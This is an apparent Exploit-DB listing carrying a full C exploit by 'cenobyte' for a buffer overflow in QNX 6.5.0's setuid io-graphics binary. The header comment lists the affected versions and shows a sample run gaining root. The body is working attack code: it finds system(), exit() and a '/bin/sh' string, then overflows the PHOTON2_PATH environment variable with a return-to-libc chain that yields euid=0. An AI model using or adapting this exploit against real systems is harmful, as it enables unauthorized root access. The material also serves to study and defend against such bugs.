QNX 6.5.0 x86 io-graphics – Local Privilege Escalation

  • 作者: cenobyte
    日期: 2014-03-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/32154/
  • /*
     *QNX 6.5.0 x86 io-graphics local root exploit by cenobyte 2013
     *<vincitamorpatriae@gmail.com>
     *
     * - vulnerability description:
     * Setuid root /usr/photon/bin/io-graphics on QNX is prone to a buffer overflow.
     * The vulnerability is due to insufficent bounds checking of the PHOTON2_HOME
     * environment variable.
     *
     * - vulnerable platforms:
     * QNX 6.5.0SP1
     * QNX 6.5.0
     * QNX 6.4.1
     *
     * - not vulnerable:
     * QNX 6.3.0
     *
     * - exploit information:
     * This is a return-to-libc exploit that yields euid=0. The addresses of
     * system() and exit() are retrieved from libc using dlsym().
     *
     * The address of /bin/sh is retrieved by searching from address 0xb0300000.
     *
     * - example:
     * $ uname -a
     * QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
     * $ id
     * uid=100(user) gid=100
     * $ ./qnx-io-graphics
     * QNX io-graphics 6.5.0 x86 local root exploit by cenobyte 2013
     * [-] system(): 0xb031bd80
     * [-] exit(): 0xb032b5f0
     * [-] /bin/sh: 0xb0374412
     * # id
     * uid=100(user) gid=100 euid=0(root)
     *
     */
    
    #include <dlfcn.h>
    #include <err.h>
    #include <signal.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    
    #define VULN "PHOTON2_PATH="
    
    static void fail(void);
    static void checknull(unsigned int addr);
    static unsigned int find_string(char *s);
    static unsigned int find_libc(char *syscall);
    
    void
    checknull(unsigned int addr)
    {
    	if (!(addr & 0xff) || \
    	!(addr & 0xff00) || \
    	!(addr & 0xff0000) || \
    	!(addr & 0xff000000))
    		errx(1, "return-to-libc failed: " \
    		"0x%x contains a null byte", addr);
    }
    
    void
    fail(void)
    {
    	printf("\n");
    	errx(1, "return-to-libc failed");
    }
    
    unsigned int
    find_string(char *string)
    {
    	unsigned int i;
    	char *a;
    
    	printf("[-] %s: ", string);
    
    	signal(SIGSEGV, fail);
    
    	for (i = 0xb0300000; i < 0xdeadbeef; i++) {
    		a = i;
    
    		if (strcmp(a, string) != 0)
    			continue;
    
    		printf("0x%x\n", i);
    		checknull(i);
    
    		return(i);
    	}
    
    	return(1);
    }
    
    unsigned int
    find_libc(char *syscall)
    {
    	void *s;
    	unsigned int syscall_addr;
    
    	if (!(s = dlopen(NULL, RTLD_LAZY)))
    		errx(1, "error: dlopen() failed");
    
    	if (!(syscall_addr = (unsigned int)dlsym(s, syscall)))
    		errx(1, "error: dlsym() %s", syscall);
    
    	printf("[-] %s(): 0x%x\n", syscall, syscall_addr);
    	checknull(syscall_addr);
    	return(syscall_addr);
    
    	return(1);
    }
    
    int
    main()
    {
    	unsigned int offset = 429;
    	unsigned int system_addr;
    	unsigned int exit_addr;
    	unsigned int binsh_addr;
    
    	char env[440];
    	char *prog[] = { "/usr/photon/bin/io-graphics", "io-graphics", NULL };
    	char *envp[] = { env, NULL };
    
    	printf("QNX 6.5.0 x86 io-graphics local root exploit by cenobyte 2013\n\n");
    
    	system_addr = find_libc("system");
    	exit_addr = find_libc("exit");
    	binsh_addr = find_string("/bin/sh");
    
    	memset(env, 0xEB, sizeof(env));
    	memcpy(env, VULN, strlen(VULN));
    	memcpy(env + offset, (char *)&system_addr, 4);
    	memcpy(env + offset + 4, (char *)&exit_addr, 4);
    	memcpy(env + offset + 8, (char *)&binsh_addr, 4);
    
    	execve(prog[0], prog, envp);
    
    	return(0);
    }